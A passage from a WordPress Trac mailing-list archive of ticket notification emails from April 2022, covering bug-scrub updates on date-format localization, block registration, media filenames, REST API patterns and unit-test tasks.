syntaxes were supported] but nowadays with the latest versions [https://jsfiddle.net/miksansegundo/f3v0odh5/3/ the backward slashes don't work]. The `dateFormat` together with other localizations for the datepicker of jQuery UI is passed [https://user- images.githubusercontent.com/1881481/163448347-72780427-6e01-4673-b43f- 65b0bc94e3fe.png in a script in the HTML document] thanks to the WordPress core function [https://github.com/WordPress/WordPress/blob/master/wp- includes/script-loader.php#L1817 wp_localize_jquery_ui_datepicker]. I believe this is not the responsibility of jQuery UI, or Jetpack, but the WordPress core function `wp_localize_jquery_ui_datepicker` that introduces two bugs: 1. Replaces `d` by `dd` when converting the PHP date format into jQuery UI's format **not excluding escaped literal text when it should** because `\d` should not be converted into `\dd`. 2. Does not convert the PHP date format for escaped literal text `\d` with backward slash into the supported jQuery UI's date format, which uses single quotes `'de'`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55577> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:11:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:11:51 -0000 Subject: [wp-trac] [WordPress Trac] #54797: Allow languages path in register_block_type In-Reply-To: <048.f5bb43c174b0d4ce1f07dd1ece559279@wordpress.org> References: <048.f5bb43c174b0d4ce1f07dd1ece559279@wordpress.org> Message-ID: <063.9d05b8be0c267bbcea8be3e33bbd2e53@wordpress.org> #54797: Allow languages path in register_block_type --------------------------------------+----------------------- Reporter: Rahe | Owner: gziolo Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: I18N | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by costdev): * version: trunk => 5.5 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54797#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:17:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:17:37 -0000 Subject: [wp-trac] [WordPress Trac] #55051: WP_Customize_Nav_Menu_Item_Setting class needs hooks/filters parity for preview and update In-Reply-To: <058.5074260e02c111a5c24c2d5047d339c5@wordpress.org> References: <058.5074260e02c111a5c24c2d5047d339c5@wordpress.org> Message-ID: <073.c882f444d28aaa1fedd8dddc0a437933@wordpress.org> #55051: WP_Customize_Nav_Menu_Item_Setting class needs hooks/filters parity for preview and update ----------------------------+--------------------- Reporter: helgatheviking | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.3 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ----------------------------+--------------------- Changes (by costdev): * version: => 4.3 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55051#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:18:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:18:50 -0000 Subject: [wp-trac] [WordPress Trac] #55182: Reconsider wp_enqueue_block_style() location In-Reply-To: <058.aba74ace88ab1412b4a45d4209698a4e@wordpress.org> References: <058.aba74ace88ab1412b4a45d4209698a4e@wordpress.org> Message-ID: <073.b2b453eb3ceeae3328977b7102729fac@wordpress.org> #55182: Reconsider wp_enqueue_block_style() location ----------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.9.1 Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Changes (by costdev): * version: => 5.9.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55182#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:22:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:22:28 -0000 Subject: [wp-trac] [WordPress Trac] #55274: Special chars in attachment filename breaks srcset In-Reply-To: <051.aa743a59f50d27884f851151a38206b2@wordpress.org> References: <051.aa743a59f50d27884f851151a38206b2@wordpress.org> Message-ID: <066.abf3cd8c643516ce98ba7c3a199b3132@wordpress.org> #55274: Special chars in attachment filename breaks srcset --------------------------+------------------------ Reporter: dravnic | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Media | Version: 4.4 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------ Changes (by costdev): * version: => 4.4 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55274#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:23:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:23:24 -0000 Subject: [wp-trac] [WordPress Trac] #54984: wp_update_user doesn't work properly with current user instance In-Reply-To: <051.92bddc0d644a48440a60de1fba687faf@wordpress.org> References: <051.92bddc0d644a48440a60de1fba687faf@wordpress.org> Message-ID: <066.6be4898e67ea7aa2162def9e3d1a1f3d@wordpress.org> #54984: wp_update_user doesn't work properly with current user instance --------------------------+--------------------- Reporter: oztaser | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Users | Version: 5.8 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+--------------------- Changes (by costdev): * version: => 5.8 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54984#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:23:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:23:56 -0000 Subject: [wp-trac] [WordPress Trac] #55300: tests for WP_List_Util::pluck and WP_List_Util::sort In-Reply-To: <051.dd5ff02912bce1bb03a5640324c5d38c@wordpress.org> References: <051.dd5ff02912bce1bb03a5640324c5d38c@wordpress.org> Message-ID: <066.3a9728cf4a7c9af2ecabc8453981fd4d@wordpress.org> #55300: tests for WP_List_Util::pluck and WP_List_Util::sort --------------------------------------+--------------------- Reporter: pbearne | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * type: defect (bug) => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55300#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:24:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:24:53 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.ba207313fca4aab5edb498b0941bb28c@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: davidbaumwald Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: docs ------------------------------+---------------------------- Changes (by davidbaumwald): * owner: (none) => davidbaumwald * status: new => reviewing -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:27:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:27:37 -0000 Subject: [wp-trac] [WordPress Trac] #55387: $wp_filesystem->dirlist() can return false and that should be checked for before iterating over the return value In-Reply-To: <050.c9ec73ed464d696944aea28f77bcf09c@wordpress.org> References: <050.c9ec73ed464d696944aea28f77bcf09c@wordpress.org> Message-ID: <065.3e862ad42a598fde8765c80406577a1d@wordpress.org> #55387: $wp_filesystem->dirlist() can return false and that should be checked for before iterating over the return value ----------------------------+----------------------- Reporter: pbiron | Owner: pbiron Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Filesystem API | Version: 2.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+----------------------- Changes (by costdev): * version: => 2.8 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55387#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:43:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:43:31 -0000 Subject: [wp-trac] [WordPress Trac] #54970: "Please update WordPress" link on incompatible theme tile on the "Add Themes" view is not clickable In-Reply-To: <053.88c723015c17ac75cad59699c71d450c@wordpress.org> References: <053.88c723015c17ac75cad59699c71d450c@wordpress.org> Message-ID: <068.1ef08de48b738790763598c7cac860fe@wordpress.org> #54970: "Please update WordPress" link on incompatible theme tile on the "Add Themes" view is not clickable -----------------------------+------------------------ Reporter: tomasza8c | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: 5.5 Severity: normal | Resolution: Keywords: has-screenshots | Focuses: ui, css -----------------------------+------------------------ Changes (by costdev): * version: => 5.5 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54970#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:47:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:47:32 -0000 Subject: [wp-trac] [WordPress Trac] #54245: Partially add unit tests for WP Upgrader In-Reply-To: <052.9c4e42efccbc8f0f96577b25f1ee39d3@wordpress.org> References: <052.9c4e42efccbc8f0f96577b25f1ee39d3@wordpress.org> Message-ID: <067.1919a40caec7617a4dab084d91cee130@wordpress.org> #54245: Partially add unit tests for WP Upgrader --------------------------------------+----------------------------- Reporter: jipmoors | Owner: hellofromTonya Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-unit-tests has-patch | Focuses: --------------------------------------+----------------------------- Changes (by costdev): * type: defect (bug) => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54245#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:48:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:48:10 -0000 Subject: [wp-trac] [WordPress Trac] #54754: test for is_blog_installed() In-Reply-To: <051.3c773f91ff8776c61ae32f55d06ffd6e@wordpress.org> References: <051.3c773f91ff8776c61ae32f55d06ffd6e@wordpress.org> Message-ID: <066.38b03b8e775dc4fe68d87e77faf0e235@wordpress.org> #54754: test for is_blog_installed() --------------------------------------+--------------------- Reporter: pbearne | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * type: defect (bug) => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54754#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:48:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:48:15 -0000 Subject: [wp-trac] [WordPress Trac] #54870: test for wp_nonce_url() In-Reply-To: <051.cbe590eaa6f85d1ada9da2a3e0da1bc4@wordpress.org> References: <051.cbe590eaa6f85d1ada9da2a3e0da1bc4@wordpress.org> Message-ID: <066.a5f93d4ad414a7534814477fafad0ec4@wordpress.org> #54870: test for wp_nonce_url() --------------------------------------+----------------------------- Reporter: pbearne | Owner: hellofromTonya Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------------- Changes (by costdev): * type: defect (bug) => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54870#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:48:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:48:47 -0000 Subject: [wp-trac] [WordPress Trac] #54334: E2E tests for Uploading New Version of Themes & Plugins In-Reply-To: <050.02f5a862b223614d9e43274c6499a29a@wordpress.org> References: <050.02f5a862b223614d9e43274c6499a29a@wordpress.org> Message-ID: <065.913eeed282c032a74368e114f63cb060@wordpress.org> #54334: E2E tests for Uploading New Version of Themes & Plugins --------------------------------------+--------------------- Reporter: juhise | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * type: defect (bug) => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54334#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:54:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:54:40 -0000 Subject: [wp-trac] [WordPress Trac] #55578: test for wp_referer_field() Message-ID: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> #55578: test for wp_referer_field() --------------------------+----------------------------- Reporter: pbearne | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55578> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 20:55:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 20:55:03 -0000 Subject: [wp-trac] [WordPress Trac] #55578: test for wp_referer_field() In-Reply-To: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> References: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> Message-ID: <066.68b3ed2fc76d26ac6f12198310233590@wordpress.org> #55578: test for wp_referer_field() ------------------------------+------------------------------ Reporter: pbearne | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: | Focuses: ------------------------------+------------------------------ Changes (by pbearne): * component: General => Build/Test Tools -- Ticket URL: <https://core.trac.wordpress.org/ticket/55578#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 21:20:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 21:20:03 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.fd652648b5bf50faf51b564c53297815@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: accessibility -----------------------------+---------------------------- Changes (by joedolson): * owner: (none) => joedolson * status: new => accepted -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 21:20:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 21:20:36 -0000 Subject: [wp-trac] [WordPress Trac] #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments In-Reply-To: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> References: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> Message-ID: <072.179549a8af6e6627c100536cea563570@wordpress.org> #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments ---------------------------+------------------------------ Reporter: antonvlasenko | Owner: antonvlasenko Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: rest-api ---------------------------+------------------------------ Comment (by antonvlasenko): Steps to test the PR: 1. Activate a block-based theme like `Twenty Twenty-Two`. 2. Open the `theme.json` file for that theme and add a new `patterns` setting to it: {{{ "patterns": [ "short-text-surrounded-by-round-images", "visual-navigation-with-rainbow-gradient" ], }}} You can use any pattern instead of the patterns above. However, it's important to use at least 2 patterns. A list of available patterns can be found here: https://wordpress.org/patterns/ 3. Make a GET call to this REST API endpoint: `/wp/v2/block-patterns/patterns` Expected result: The response must contact patterns added in step `2`. E.g.: [[Image(https://cldup.com/VHZlrnyQMm.png)]] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55574#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 21:23:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 21:23:53 -0000 Subject: [wp-trac] [WordPress Trac] #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments In-Reply-To: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> References: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> Message-ID: <072.f9520e5c80271450627f21656fc3ab3c@wordpress.org> #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments ---------------------------+------------------------------ Reporter: antonvlasenko | Owner: antonvlasenko Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: rest-api ---------------------------+------------------------------ Comment (by antonvlasenko): This task is a follow-up to https://github.com/WordPress/wordpress- develop/pull/2488#pullrequestreview-936828609 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55574#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 22:10:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 22:10:29 -0000 Subject: [wp-trac] [WordPress Trac] #55578: tests for wp_nonce_field() and wp_referer_field() (was: test for wp_referer_field()) In-Reply-To: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> References: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> Message-ID: <066.8e53ec0ee4e32cbb2c540e8326d3a658@wordpress.org> #55578: tests for wp_nonce_field() and wp_referer_field() ------------------------------+------------------------------ Reporter: pbearne | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: | Focuses: ------------------------------+------------------------------ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55578#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 22:11:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 22:11:22 -0000 Subject: [wp-trac] [WordPress Trac] #55578: tests for wp_nonce_field() and wp_referer_field() In-Reply-To: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> References: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> Message-ID: <066.a29d3c7d11a20e2cf50cca87b1a082a6@wordpress.org> #55578: tests for wp_nonce_field() and wp_referer_field() --------------------------------------+------------------------------ Reporter: pbearne | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+------------------------------ Changes (by pbearne): * version: => trunk -- Ticket URL: <https://core.trac.wordpress.org/ticket/55578#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 22:22:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 22:22:10 -0000 Subject: [wp-trac] [WordPress Trac] #55576: DB connection fail on every computer restart In-Reply-To: <054.6b447449393cccc336060ac2b3324c5f@wordpress.org> References: <054.6b447449393cccc336060ac2b3324c5f@wordpress.org> Message-ID: <069.e6f05f0dcbc1517aa91a58f123648bc0@wordpress.org> #55576: DB connection fail on every computer restart --------------------------+------------------------------ Reporter: matt.scott | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: administration --------------------------+------------------------------ Comment (by afragen): I see this too when I restart LocaWP on MacOS. Other than adding something to the error log, I don't think there's real any real effect or issue. I think it has more to do with the browser trying to load the site when the local environment isn't completely loaded and throwing an error. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55576#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 23:20:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 23:20:37 -0000 Subject: [wp-trac] [WordPress Trac] #54814: Add docker instructions for mac m1 users In-Reply-To: <051.e241da54d70b86de6e800998e4d6662a@wordpress.org> References: <051.e241da54d70b86de6e800998e4d6662a@wordpress.org> Message-ID: <066.9b6a0d95a6981cd0bf89273efb4838d1@wordpress.org> #54814: Add docker instructions for mac m1 users ------------------------------+------------------------------ Reporter: jmlapam | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: Severity: normal | Resolution: invalid Keywords: has-patch | Focuses: ------------------------------+------------------------------ Changes (by jmlapam): * status: new => closed * resolution: => invalid -- Ticket URL: <https://core.trac.wordpress.org/ticket/54814#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:45:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:45:56 -0000 Subject: [wp-trac] [WordPress Trac] #50233: Limit pagination for comments In-Reply-To: <052.fc5517f758345cefe80e8019ed19fdaa@wordpress.org> References: <052.fc5517f758345cefe80e8019ed19fdaa@wordpress.org> Message-ID: <067.b401fdaa6531d77fcf93f2c34cfbdf74@wordpress.org> #50233: Limit pagination for comments -------------------------------------------------+------------------------- Reporter: devrekli | Owner: | SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Permalinks | Version: 5.4.1 Severity: minor | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing dev-feedback | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch has-unit-tests needs-testing => has-patch has-unit- tests needs-testing dev-feedback Comment: Per the discussion in the bug scrub, I'm adding `dev-feedback`. Some comments from @ironprogrammer: - This should be checked against the new Comments Query Loop as well, in case there is any overlapping functionality. - Redirecting URLs that exceed the max makes sense, though I haven’t looked at the patches yet. Nobody has chimed in about it breaking backward compat, so this looks like a straightforward SEO win? -- Ticket URL: <https://core.trac.wordpress.org/ticket/50233#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:48:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:48:23 -0000 Subject: [wp-trac] [WordPress Trac] #53377: WebPI parameters.xml whitespace In-Reply-To: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> References: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> Message-ID: <065.4d2ea93d929a05092455ec4e8c85b7db@wordpress.org> #53377: WebPI parameters.xml whitespace ------------------------------------+--------------------- Reporter: fusecp | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: 5.1 Severity: normal | Resolution: Keywords: has-patch dev-feedback | Focuses: ------------------------------------+--------------------- Changes (by costdev): * keywords: has-patch => has-patch dev-feedback Comment: This ticket was discussed in the bug scrub. I've asked for input from `#hosting-community` Slack channel members and it would be good to get input from those rolling their own local IIS server on Windows. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53377#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:49:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:49:35 -0000 Subject: [wp-trac] [WordPress Trac] #54091: Attachment details pane navigation not working after opening 81st (or greater) item and refreshing the browser In-Reply-To: <053.ddfa06a389371cc780f7dfd81450a8cb@wordpress.org> References: <053.ddfa06a389371cc780f7dfd81450a8cb@wordpress.org> Message-ID: <068.7421e3ae67670e0dc82a74515fc466cf@wordpress.org> #54091: Attachment details pane navigation not working after opening 81st (or greater) item and refreshing the browser --------------------------------------+----------------------------- Reporter: ppetrov2c | Owner: joedolson Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8 Severity: trivial | Resolution: Keywords: needs-patch dev-feedback | Focuses: ui, javascript --------------------------------------+----------------------------- Changes (by costdev): * keywords: => needs-patch dev-feedback Comment: Per the discussion in the bug scrub, I'm adding `needs-patch` and also `dev-feedback` so that the suggestions Joe outlined in [https://core.trac.wordpress.org/ticket/54091#comment:5 this comment] can get some input from others. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54091#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:51:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:51:06 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2354088=3A_Uploading_m?= =?utf-8?q?edia_containing_Norwegian_letter_=C3=A5_does_not_automatically_?= =?utf-8?q?readjust_it_to_become_aa=2E?= In-Reply-To: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> References: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> Message-ID: <070.e4336df8a8f123ffa8b5069a7e847b1d@wordpress.org> #54088: Uploading media containing Norwegian letter å does not automatically readjust it to become aa. ------------------------------------------+--------------------- Reporter: paaljoachim | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+--------------------- Comment (by costdev): This ticket was discussed in the bug scrub. @paaljoachim, do you think this ticket is likely to move towards resolution during the 6.0 cycle? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54088#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:55:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:55:16 -0000 Subject: [wp-trac] [WordPress Trac] #53553: strpos(): Empty needle in /wp-includes/l10n.php on line 1047 In-Reply-To: <051.ae805a77e9cbff6ad8c4a8e8ed29df74@wordpress.org> References: <051.ae805a77e9cbff6ad8c4a8e8ed29df74@wordpress.org> Message-ID: <066.244c4582d146a7b2d414cd41b703f9f0@wordpress.org> #53553: strpos(): Empty needle in /wp-includes/l10n.php on line 1047 --------------------------+--------------------- Reporter: gwviger | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: I18N | Version: 5.7.2 Severity: normal | Resolution: Keywords: close | Focuses: --------------------------+--------------------- Changes (by costdev): * keywords: has-patch => close Comment: Per the discussion in the bug scrub, I'm removing `has-patch` as one does not exist, and adding `close` as it was felt that using straight quotes `''` is expected and that covering other quotes is not desired. @SergeyBiryukov regarding the `WP_CONTENT_URL` question, do you think this is an issue and should have its own ticket for investigation? -- Ticket URL: <https://core.trac.wordpress.org/ticket/53553#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:56:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:56:42 -0000 Subject: [wp-trac] [WordPress Trac] #53962: The bug allows to see the name(s) of a user(s) who has replied to a comment (not yet authorized). In-Reply-To: <050.c7303fe3dfc3c89a169008450042ddde@wordpress.org> References: <050.c7303fe3dfc3c89a169008450042ddde@wordpress.org> Message-ID: <065.92b5a56f6d21e6eb68d20b8f948f40f8@wordpress.org> #53962: The bug allows to see the name(s) of a user(s) who has replied to a comment (not yet authorized). -------------------------------------+------------------------------------- Reporter: fasuto | Owner: hellofromTonya Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Comments | Version: 2.7 Severity: normal | Resolution: Keywords: has-patch has-unit- | Focuses: administration, tests has-testing-info | privacy -------------------------------------+------------------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: Per the discussion in the bug scrub, I'm moving this ticket to the 6.1 milestone as it has not had any movement and needs further testing and code review. If this ticket makes progress towards resolution during the 6.0 cycle, feel free to bring it back into the milestone for commit consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53962#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:57:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:57:34 -0000 Subject: [wp-trac] [WordPress Trac] #44511: Widgets generated by wp_register_sidebar_widget can not be add via customizer In-Reply-To: <050.66d9a84f5c1b24ccad528c9af8dcb674@wordpress.org> References: <050.66d9a84f5c1b24ccad528c9af8dcb674@wordpress.org> Message-ID: <065.34d78b35528373b76d8ac3b1a050d81b@wordpress.org> #44511: Widgets generated by wp_register_sidebar_widget can not be add via customizer ---------------------------------------------+--------------------- Reporter: bastho | Owner: (none) Type: defect (bug) | Status: new 